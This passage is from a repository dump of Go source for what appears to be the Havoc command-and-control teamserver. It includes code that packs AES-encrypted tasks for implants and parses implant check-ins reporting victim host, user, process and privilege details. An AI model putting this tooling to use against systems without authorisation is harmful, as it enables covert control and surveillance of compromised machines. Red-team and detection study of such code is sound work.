h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ=\ngithub.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI=\ngithub.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=\ngithub.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=\ngithub.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=\ngithub.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=\ngithub.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=\ngithub.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=\ngithub.com/mattn/go-runewidth v0.0.16 h1:E5ScNMtiwvlvB5paMFdw9p4kSQzbXFikJ5SQO6TULQc=\ngithub.com/mattn/go-runewidth v0.0.16/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=\ngithub.com/mattn/go-sqlite3 v1.14.23 h1:gbShiuAP1W5j9UOksQ06aiiqPMxYecovVGwmTxWtuw0=\ngithub.com/mattn/go-sqlite3 v1.14.23/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=\ngithub.com/mitchellh/go-wordwrap v1.0.1 h1:TLuKupo69TCn6TQSyGxwI1EblZZEsQ0vMlAFQflz0v0=\ngithub.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0=\ngithub.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=\ngithub.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=\ngithub.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=\ngithub.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M=\ngithub.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=\ngithub.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec=\ngithub.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY=\ngithub.com/pelletier/go-toml/v2 v2.2.3 h1:YmeHyLY8mFWbdkNWwpr+qIL2bEqT0o95WSdkNHvL12M=\ngithub.com/pelletier/go-toml/v2 v2.2.3/go.mod h1:MfCQTFTvCcUyyvvwm1+G6H/jORL20Xlb6rzQu9GuUkc=\ngithub.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=\ngithub.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=\ngithub.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=\ngithub.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ=\ngithub.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=\ngithub.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=\ngithub.com/sergi/go-diff v1.2.0 h1:XU+rvMAioB0UC3q1MFrIQy4Vo5/4VsRDQQXHsEya6xQ=\ngithub.com/sergi/go-diff v1.2.0/go.mod h1:STckp+ISIX8hZLjrqAeVduY0gWCT9IjLuqbuNXdaHfM=\ngithub.com/spf13/cobra v1.8.1 h1:e5/vxKd/rZsfSJMUX1agtjeTDf+qv1/JdBF8gg5k9ZM=\ngithub.com/spf13/cobra v1.8.1/go.mod h1:wHxEcudfqmLYa8iTfL+OuZPbBZkmvliBWKIezN3kD9Y=\ngithub.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=\ngithub.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=\ngithub.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=\ngithub.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=\ngithub.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=\ngithub.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=\ngithub.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=\ngithub.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=\ngithub.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=\ngithub.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=\ngithub.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=\ngithub.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=\ngithub.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=\ngithub.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS4MhqMhdFk5YI=\ngithub.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08=\ngithub.com/ugorji/go/codec v1.2.12 h1:9LC83zGrHhuUA9l16C9AHXAqEV/2wBQ4nkvumAE65EE=\ngithub.com/ugorji/go/codec v1.2.12/go.mod h1:UNopzCgEMSXjBc6AOMqYvWC1ktqTAfzJZUZgYf6w6lg=\ngithub.com/zclconf/go-cty v1.15.0 h1:tTCRWxsexYUmtt/wVxgDClUe+uQusuI443uL6e+5sXQ=\ngithub.com/zclconf/go-cty v1.15.0/go.mod h1:VvMs5i0vgZdhYawQNq5kePSpLAoz8u1xvZgrPIxfnZE=\ngolang.org/x/arch v0.10.0 h1:S3huipmSclq3PJMNe76NGwkBR504WFkQ5dhzWzP8ZW8=\ngolang.org/x/arch v0.10.0/go.mod h1:FEVrYAQjsQXMVJ1nsMoVVXPZg6p2JE2mx8psSWTDQys=\ngolang.org/x/crypto v0.27.0 h1:GXm2NjJrPaiv/h1tb2UH8QfgC/hOf/+z0p6PT8o1w7A=\ngolang.org/x/crypto v0.27.0/go.mod h1:1Xngt8kV6Dvbssa53Ziq6Eqn0HqbZi5Z6R0ZpwQzt70=\ngolang.org/x/image v0.20.0 h1:7cVCUjQwfL18gyBJOmYvptfSHS8Fb3YUDtfLIZ7Nbpw=\ngolang.org/x/image v0.20.0/go.mod h1:0a88To4CYVBAHp5FXJm8o7QbUl37Vd85ply1vyD8auM=\ngolang.org/x/net v0.29.0 h1:5ORfpBpCs4HzDYoodCDBbwHzdR5UrLBZ3sOnUJmFoHo=\ngolang.org/x/net v0.29.0/go.mod h1:gLkgy8jTGERgjzMic6DS9+SP0ajcu6Xu3Orq/SpETg0=\ngolang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.25.0 h1:r+8e+loiHxRqhXVl6ML1nO3l1+oFoWbnlu2Ehimmi34=\ngolang.org/x/sys v0.25.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=\ngolang.org/x/text v0.18.0 h1:XvMDiNzPAl0jr17s6W9lcaIhGUfUORdGCNsuLmPG224=\ngolang.org/x/text v0.18.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY=\ngoogle.golang.org/protobuf v1.34.2 h1:6xV6lTsCfpGD21XK49h7MhtcApnLqkfYgPcdHftf6hg=\ngoogle.golang.org/protobuf v1.34.2/go.mod h1:qYOHts0dSfpeUzUFpOMr/WGzszTmLH+DiWniOlNbLDw=\ngopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo=\ngopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\ngopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=\ngopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\nnullprogram.com/x/optparse v1.0.0/go.mod h1:KdyPE+Igbe0jQUrVfMqDMeJQIJZEuyV7pjYmp6pbG50=\n"
  },
  {
    "path": "teamserver/main.go",
    "content": "package main\n\nimport \"Havoc/cmd\"\nimport \"Havoc/pkg/logger\"\n\nfunc main() {\n\terr := cmd.HavocCli.Execute()\n\tif err != nil {\n\t\tlogger.Error(\"Failed to execute havoc\")\n\t\treturn\n\t}\n}\n"
  },
  {
    "path": "teamserver/pkg/agent/agent.go",
    "content": "package agent\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t//\"encoding/hex\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\t\"reflect\"\n\n\t\"Havoc/pkg/common\"\n\t\"Havoc/pkg/common/crypt\"\n\t\"Havoc/pkg/common/packer\"\n\t\"Havoc/pkg/common/parser\"\n\t\"Havoc/pkg/logger\"\n\t\"Havoc/pkg/logr\"\n\n\t\"github.com/fatih/structs\"\n)\n\nfunc BuildPayloadMessage(Jobs []Job, AesKey []byte, AesIv []byte) []byte {\n\tvar (\n\t\tDataPayload        []byte\n\t\tPayloadPackage     []byte\n\t\tPayloadPackageSize = make([]byte, 4)\n\t\tRequestID          = make([]byte, 4)\n\t\tDataCommandID      = make([]byte, 4)\n\t)\n\n\tfor _, job := range Jobs {\n\n\t\tfor i := range job.Data {\n\n\t\t\tswitch job.Data[i].(type) {\n\t\t\tcase int:\n\t\t\t\tvar integer32 = make([]byte, 4)\n\n\t\t\t\tbinary.LittleEndian.PutUint32(integer32, uint32(job.Data[i].(int)))\n\n\t\t\t\tDataPayload = append(DataPayload, integer32...)\n\n\t\t\t\tbreak\n\n\t\t\tcase int64:\n\t\t\t\tvar integer64 = make([]byte, 8)\n\n\t\t\t\tbinary.LittleEndian.PutUint64(integer64, uint64(job.Data[i].(int64)))\n\n\t\t\t\tDataPayload = append(DataPayload, integer64...)\n\n\t\t\t\tbreak\n\n\t\t\tcase uint64:\n\t\t\t\tvar integer64 = make([]byte, 8)\n\n\t\t\t\tbinary.LittleEndian.PutUint64(integer64, uint64(job.Data[i].(uint64)))\n\n\t\t\t\tDataPayload = append(DataPayload, integer64...)\n\n\t\t\t\tbreak\n\n\t\t\tcase int32:\n\t\t\t\tvar integer32 = make([]byte, 4)\n\n\t\t\t\tbinary.LittleEndian.PutUint32(integer32, uint32(job.Data[i].(int32)))\n\n\t\t\t\tDataPayload = append(DataPayload, integer32...)\n\n\t\t\t\tbreak\n\n\t\t\tcase uint32:\n\t\t\t\tvar integer32 = make([]byte, 4)\n\n\t\t\t\tbinary.LittleEndian.PutUint32(integer32, job.Data[i].(uint32))\n\n\t\t\t\tDataPayload = append(DataPayload, integer32...)\n\n\t\t\t\tbreak\n\n\t\t\tcase int16:\n\t\t\t\tvar integer16 = make([]byte, 2)\n\n\t\t\t\tbinary.LittleEndian.PutUint16(integer16, uint16(job.Data[i].(int16)))\n\n\t\t\t\tDataPayload = append(DataPayload, integer16...)\n\n\t\t\t\tbreak\n\n\t\t\tcase uint16:\n\t\t\t\tvar integer16 = make([]byte, 2)\n\n\t\t\t\tbinary.LittleEndian.PutUint16(integer16, job.Data[i].(uint16))\n\n\t\t\t\tDataPayload = append(DataPayload, integer16...)\n\n\t\t\t\tbreak\n\n\t\t\tcase string:\n\t\t\t\tvar size = make([]byte, 4)\n\n\t\t\t\tstr := job.Data[i].(string)\n\n\t\t\t\t// in C, strings terminate with a null-byte\n\t\t\t\tif strings.HasSuffix(str, \"\\x00\") == false {\n\t\t\t\t\tstr += \"\\x00\"\n\t\t\t\t}\n\n\t\t\t\tbinary.LittleEndian.PutUint32(size, uint32(len(str)))\n\n\t\t\t\tDataPayload = append(DataPayload, size...)\n\t\t\t\tDataPayload = append(DataPayload, []byte(str)...)\n\n\t\t\t\tbreak\n\n\t\t\tcase []byte:\n\t\t\t\tvar size = make([]byte, 4)\n\n\t\t\t\tbinary.LittleEndian.PutUint32(size, uint32(len(job.Data[i].([]byte))))\n\n\t\t\t\tDataPayload = append(DataPayload, size...)\n\t\t\t\tDataPayload = append(DataPayload, job.Data[i].([]byte)...)\n\n\t\t\t\tbreak\n\n\t\t\tcase byte:\n\t\t\t\tvar singlebyte = make([]byte, 1)\n\n\t\t\t\tsinglebyte[0] = job.Data[i].(byte)\n\n\t\t\t\tDataPayload = append(DataPayload, singlebyte...)\n\n\t\t\t\tbreak\n\n\t\t\tcase bool:\n\t\t\t\tvar boolean = make([]byte, 4)\n\n\t\t\t\tif job.Data[i].(bool) {\n\t\t\t\t\tbinary.LittleEndian.PutUint32(boolean, 1)\n\t\t\t\t} else {\n\t\t\t\t\tbinary.LittleEndian.PutUint32(boolean, 0)\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tDataPayload = append(DataPayload, boolean...)\n\n\t\t\t\tbreak\n\n\t\t\tdefault:\n\t\t\t\tlogger.Error(fmt.Sprintf(\"Could not package, unknown data type: %v\", job.Data[i]))\n\t\t\t}\n\t\t}\n\n\t\tbinary.LittleEndian.PutUint32(DataCommandID, job.Command)\n\t\tPayloadPackage = append(PayloadPackage, DataCommandID...)\n\n\t\tbinary.LittleEndian.PutUint32(RequestID, job.RequestID)\n\t\tPayloadPackage = append(PayloadPackage, RequestID...)\n\n\t\tbinary.LittleEndian.PutUint32(PayloadPackageSize, uint32(len(DataPayload)))\n\t\tPayloadPackage = append(PayloadPackage, PayloadPackageSize...)\n\n\t\tif len(DataPayload) > 0 {\n\t\t\tDataPayload = crypt.XCryptBytesAES256(DataPayload, AesKey, AesIv)\n\t\t\tPayloadPackage = append(PayloadPackage, DataPayload...)\n\t\t\tDataPayload = nil\n\t\t}\n\t}\n\n\t//logger.Debug(\"PayloadPackage:\\n\", hex.Dump(PayloadPackage))\n\n\treturn PayloadPackage\n}\n\nfunc ParseHeader(data []byte) (Header, error) {\n\tvar (\n\t\tHeader = Header{}\n\t\tParser = parser.NewParser(data)\n\t)\n\n\tif Parser.Length() > 4 {\n\t\tHeader.Size = Parser.ParseInt32()\n\t} else {\n\t\treturn Header, errors.New(\"failed to parse package size\")\n\t}\n\n\tif Parser.Length() > 4 {\n\t\tHeader.MagicValue = Parser.ParseInt32()\n\t} else {\n\t\treturn Header, errors.New(\"failed to parse magic value\")\n\t}\n\n\tif Parser.Length() > 4 {\n\t\tHeader.AgentID = Parser.ParseInt32()\n\t} else {\n\t\treturn Header, errors.New(\"failed to parse agent id\")\n\t}\n\n\tHeader.Data = Parser\n\n\t// logger.Debug(fmt.Sprintf(\"Header Size       : %d\", Header.Size))\n\t// logger.Debug(fmt.Sprintf(\"Header MagicValue : %x\", Header.MagicValue))\n\t// logger.Debug(fmt.Sprintf(\"Header AgentID    : %x\", Header.AgentID))\n\t// logger.Debug(fmt.Sprintf(\"Header Data       : \\n%v\", hex.Dump(Header.Data.Buffer())))\n\n\treturn Header, nil\n}\n\nfunc RegisterInfoToInstance(Header Header, RegisterInfo map[string]any) *Agent {\n\tvar (\n\t\tagent = &Agent{\n\t\t\tActive:     false,\n\t\t\tSessionDir: \"\",\n\n\t\t\tInfo: new(AgentInfo),\n\t\t}\n\t\terr error\n\t)\n\n\tagent.NameID = fmt.Sprintf(\"%08x\", Header.AgentID)\n\tagent.Info.MagicValue = Header.MagicValue\n\n\tif val, ok := RegisterInfo[\"Hostname\"]; ok {\n\t\tagent.Info.Hostname = val.(string)\n\t}\n\n\tif val, ok := RegisterInfo[\"Username\"]; ok {\n\t\tagent.Info.Username = val.(string)\n\t}\n\n\tif val, ok := RegisterInfo[\"Domain\"]; ok {\n\t\tagent.Info.DomainName = val.(string)\n\t}\n\n\tif val, ok := RegisterInfo[\"InternalIP\"]; ok {\n\t\tagent.Info.InternalIP = val.(string)\n\t}\n\n\tif val, ok := RegisterInfo[\"Process Path\"]; ok {\n\t\tagent.Info.ProcessPath = val.(string)\n\t}\n\n\tif val, ok := RegisterInfo[\"Process Name\"]; ok {\n\t\tagent.Info.ProcessName = val.(string)\n\t}\n\n\tif val, ok := RegisterInfo[\"Process Arch\"]; ok {\n\t\tagent.Info.ProcessArch = val.(string)\n\t}\n\n\tif val, ok := RegisterInfo[\"Process ID\"]; ok {\n\t\tagent.Info.ProcessPID, err = strconv.Atoi(val.(string))\n\t\tif err != nil {\n\t\t\tlogger.DebugError(\"Couldn't parse ProcessID integer from string: \" + err.Error())\n\t\t\tagent.Info.ProcessPID = 0\n\t\t}\n\t}\n\n\tif val, ok := RegisterInfo[\"Process Parent ID\"]; ok {\n\t\tagent.Info.ProcessPPID, err = strconv.Atoi(val.(string))\n\t\tif err != nil {\n\t\t\tlogger.DebugError(\"Couldn't parse ProcessPPID integer from string: \" + err.Error())\n\t\t\tagent.Info.ProcessPPID = 0\n\t\t}\n\t}\n\n\tif val, ok := RegisterInfo[\"Process Elevated\"]; ok {\n\t\tagent.Info.Elevated = \"false\"\n\t\tif val == \"1\" {\n\t\t\tagent.Info.Elevated = \"true\"\n\t\t}\n\t}\n\n\t// Updated OS Version handling\n\tif val, ok := RegisterInfo[\"OS Version\"]; ok {\n\t    // Assuming val is a string representing the OS version, split it by '.' to get the version parts\n\t    versionParts := strings.Split(val.(string), \".\")\n\t    OsVersion := make([]int, len(versionParts))\n\t    for i, part := range versionParts {\n\t\tOsVersion[i], _ = strconv.Atoi(part)\n\t    }\n\t    agent.Info.OSVersion = getWindowsVersionString(OsVersion)\n\t}\n\n\tif val, ok := RegisterInfo[\"OS Build\"]; ok {\n\t\tagent.Info.OSBuild = val.(string)\n\t}\n\n\tif val, ok := RegisterInfo[\"OS Arch\"]; ok {\n\t\tagent.Info.OSArch = val.(string)\n\t}\n\t\n\tif val, ok := RegisterInfo[\"SleepDelay\"]; ok {\n\t\tswitch v := val.(type) {\n\t\tcase float64:\n\t\t\tagent.Info.SleepDelay = int(v)\n\t\tcase string:\n\t\t\tagent.Info.SleepDelay, err = strconv.Atoi(v)\n\t\t\tif err != nil {\n\t\t\t\tlogger.DebugError(\"Couldn't parse SleepDelay integer from string: \" + err.Error())\n\t\t\t\tagent.Info.SleepDelay = 0\n\t\t\t}\n\t\tdefault:\n\t\t\t// handle unexpected type\n\t\t\tlogger.DebugError(\"Unexpected type for SleepDelay: \" + reflect.TypeOf(v).String())\n\t\t\tagent.Info.SleepDelay = 0\n\t\t}\n\t}\n\t\n\n\tagent.Info.FirstCallIn = time.Now().Format(\"02/01/2006 15:04:05\")\n\t\n\tagent.Info.LastCallIn = time.Now().Format(\"02-01-2006 15:04:05\")\n\t\n\n\tagent.BackgroundCheck = false\n\tagent.Active = true\n\n\treturn agent\n}\n\nfunc ParseDemonRegisterRequest(AgentID int, Parser *parser.Parser, ExternalIP string) *Agent {\n\t//logger.Debug(\"Response:\\n\" + hex.Dump(Parser.Buffer()))\n\n\tvar (\n\t\tMagicValue   int\n\t\tDemonID      int\n\t\tHostname     string\n\t\tDomainName   string\n\t\tUsername     string\n\t\tInternalIP   string\n\t\tProcessName  string\n\t\tProcessPID   int\n\t\tProcessTID   int\n\t\tOsVersion    []int\n\t\tOsArch       int\n\t\tBaseAddress  int64\n\t\tElevated     int\n\t\tProcessArch  int\n\t\tProcessPPID  int\n\t\tSleepDelay   int\n\t\tSleepJitter  int\n\t\tKillDate     int64\n\t\tWorkingHours int32\n\t\tAesKeyEmpty  = make([]byte, 32)\n\t)\n\n\t/*\n\t\t[ SIZE         ] 4 bytes\n\t\t[ Magic Value  ] 4 bytes\n\t\t[ Agent ID     ] 4 bytes\n\t\t[ COMMAND ID   ] 4 bytes\n\t\t[ Request ID   ] 4 bytes\n\t\t[ AES KEY      ] 32 bytes\n\t\t[ AES IV       ] 16 bytes\n\t\tAES Encrypted {\n\t\t\t[ Agent ID     ] 4 bytes <-- this is needed to check if we successfully decrypted the data\n\t\t\t[ Host Name    ] size + bytes\n\t\t\t[ User Name    ] size + bytes\n\t\t\t[ Domain       ] size + bytes\n\t\t\t[ IP Address   ] 16 bytes?\n\t\t\t[ Process Name ] size + bytes\n\t\t\t[ Process ID   ] 4 bytes\n\t\t\t[ Parent  PID  ] 4 bytes\n\t\t\t[ Process Arch ] 4 bytes\n\t\t\t[ Elevated     ] 4 bytes\n\t\t\t[ Base Address ] 8 bytes\n\t\t\t[ OS Info      ] ( 5 * 4 ) bytes\n\t\t\t[ OS Arch      ] 4 bytes\n\t\t\t..... more\n\t\t}\n\t*/\n\n\tif Parser.Length() >= 32+16 {\n\n\t\tvar Session = &Agent{\n\t\t\tEncryption: struct {\n\t\t\t\tAESKey []byte\n\t\t\t\tAESIv  []byte\n\t\t\t}{\n\t\t\t\tAESKey: Parser.ParseAtLeastBytes(32),\n\t\t\t\tAESIv:  Parser.ParseAtLeastBytes(16),\n\t\t\t},\n\n\t\t\tActive:     false,\n\t\t\tSessionDir: \"\",\n\n\t\t\tInfo: new(AgentInfo),\n\t\t}\n\n\t\t// check if there is aes key/iv.\n\t\tif bytes.Compare(Session.Encryption.AESKey, AesKeyEmpty) != 0 {\n\t\t\tParser.DecryptBuffer(Session.Encryption.AESKey, Session.Encryption.AESIv)\n\t\t}\n\n\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt64, parser.ReadInt32}) {\n\t\t\tDemonID = Parser.ParseInt32()\n\t\t\tlogger.Debug(fmt.Sprintf(\"Parsed DemonID: %x\", DemonID))\n\n\t\t\tif AgentID != DemonID {\n\t\t\t\tif AgentID != 0 {\n\t\t\t\t\tlogger.Debug(\"Failed to decrypt agent init request\")\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"AgentID (%x) == DemonID (%x)\\n\", AgentID, DemonID))\n\t\t\t}\n\n\t\t\tHostname = Parser.ParseString()\n\t\t\tUsername = Parser.ParseString()\n\t\t\tDomainName = Parser.ParseString()\n\t\t\tInternalIP = Parser.ParseString()\n\n\t\t\tif ExternalIP != \"\" {\n\t\t\t\tSession.Info.ExternalIP = ExternalIP\n\t\t\t}\n\n\t\t\tlogger.Debug(fmt.Sprintf(\n\t\t\t\t\"\\n\"+\n\t\t\t\t\t\"Hostname: %v\\n\"+\n\t\t\t\t\t\"Username: %v\\n\"+\n\t\t\t\t\t\"Domain  : %v\\n\"+\n\t\t\t\t\t\"InternIP: %v\\n\"+\n\t\t\t\t\t\"ExternIP: %v\\n\",\n\t\t\t\tHostname, Username, DomainName, InternalIP, ExternalIP))\n\n\t\t\tProcessName = Parser.ParseUTF16String()\n\t\t\tProcessPID  = Parser.ParseInt32()\n\t\t\tProcessTID  = Parser.ParseInt32()\n\t\t\tProcessPPID = Parser.ParseInt32()\n\t\t\tProcessArch = Parser.ParseInt32()\n\t\t\tElevated = Parser.ParseInt32()\n\t\t\tBaseAddress = Parser.ParseInt64()\n\n\t\t\tlogger.Debug(fmt.Sprintf(\n\t\t\t\t\"\\n\"+\n\t\t\t\t\t\"ProcessName : %v\\n\"+\n\t\t\t\t\t\"ProcessPID  : %v\\n\"+\n\t\t\t\t\t\"ProcessTID  : %v\\n\"+\n\t\t\t\t\t\"ProcessPPID : %v\\n\"+\n\t\t\t\t\t\"ProcessArch : %v\\n\"+\n\t\t\t\t\t\"Elevated    : %v\\n\"+\n\t\t\t\t\t\"Base Address: 0x%x\\n\",\n\t\t\t\tProcessName, ProcessPID, ProcessTID, ProcessPPID, ProcessArch, Elevated, BaseAddress))\n\n\t\t\tOsVersion = []int{Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32()}\n\t\t\tOsArch = Parser.ParseInt32()\n\t\t\tSleepDelay = Parser.ParseInt32()\n\t\t\tSleepJitter = Parser.ParseInt32()\n\t\t\tKillDate = Parser.ParseInt64()\n\t\t\tWorkingHours = int32(Parser.ParseInt32())\n\n\t\t\tlogger.Debug(fmt.Sprintf(\n\t\t\t\t\"\\n\"+\n\t\t\t\t\t\"SleepDelay  : %v\\n\"+\n\t\t\t\t\t\"SleepJitter : %v\\n\",\n\t\t\t\tSleepDelay, SleepJitter))\n\n\t\t\tSession.Active = true\n\n\t\t\tSession.NameID = fmt.Sprintf(\"%08x\", DemonID)\n\t\t\tSession.Info.MagicValue = MagicValue\n\t\t\tSession.Info.FirstCallIn = time.Now().Format(\"02/01/2006 15:04:05\")\n\t\t\tSession.Info.LastCallIn = time.Now().Format(\"02-01-2006 15:04:05\")\n\t\t\tSession.Info.Hostname = Hostname\n\t\t\tSession.Info.DomainName = DomainName\n\t\t\tSession.Info.Username = Username\n\t\t\tSession.Info.InternalIP = InternalIP\n\t\t\tSession.Info.SleepDelay = SleepDelay\n\t\t\tSession.Info.SleepJitter = SleepJitter\n\t\t\tSession.Info.KillDate = KillDate\n\t\t\tSession.Info.WorkingHours = WorkingHours\n\n\t\t\t// Session.Info.Listener \t= t.Name\n\n\t\t\tswitch ProcessArch {\n\n\t\t\tcase PROCESS_ARCH_UNKNOWN:\n\t\t\t\tSession.Info.ProcessArch = \"Unknown\"\n\t\t\t\tbreak\n\n\t\t\tcase PROCESS_ARCH_X64:\n\t\t\t\tSession.Info.ProcessArch = \"x64\"\n\t\t\t\tbreak\n\n\t\t\tcase PROCESS_ARCH_X86:\n\t\t\t\tSession.Info.ProcessArch = \"x86\"\n\t\t\t\tbreak\n\n\t\t\tcase PROCESS_ARCH_IA64:\n\t\t\t\tSession.Info.ProcessArch = \"IA64\"\n\t\t\t\tbreak\n\n\t\t\tdefault:\n\t\t\t\tSession.Info.ProcessArch = \"Unknown\"\n\t\t\t\tbreak\n\n\t\t\t}\n\n\t\t\tSession.Info.OSVersion = getWindowsVersionString(OsVersion)\n\n\t\t\tswitch OsArch {\n\t\t\tcase 0:\n\t\t\t\tSession.Info.OSArch = \"x86\"\n\t\t\tcase 9:\n\t\t\t\tSession.Info.OSArch = \"x64/AMD64\"\n\t\t\tcase 5:\n\t\t\t\tSession.Info.OSArch = \"ARM\"\n\t\t\tcase 12:\n\t\t\t\tSession.Info.OSArch = \"ARM64\"\n\t\t\tcase 6:\n\t\t\t\tSession.Info.OSArch = \"Itanium-based\"\n\t\t\tdefault:\n\t\t\t\tSession.Info.OSArch = \"Unknown (\" + strconv.Itoa(OsArch) + 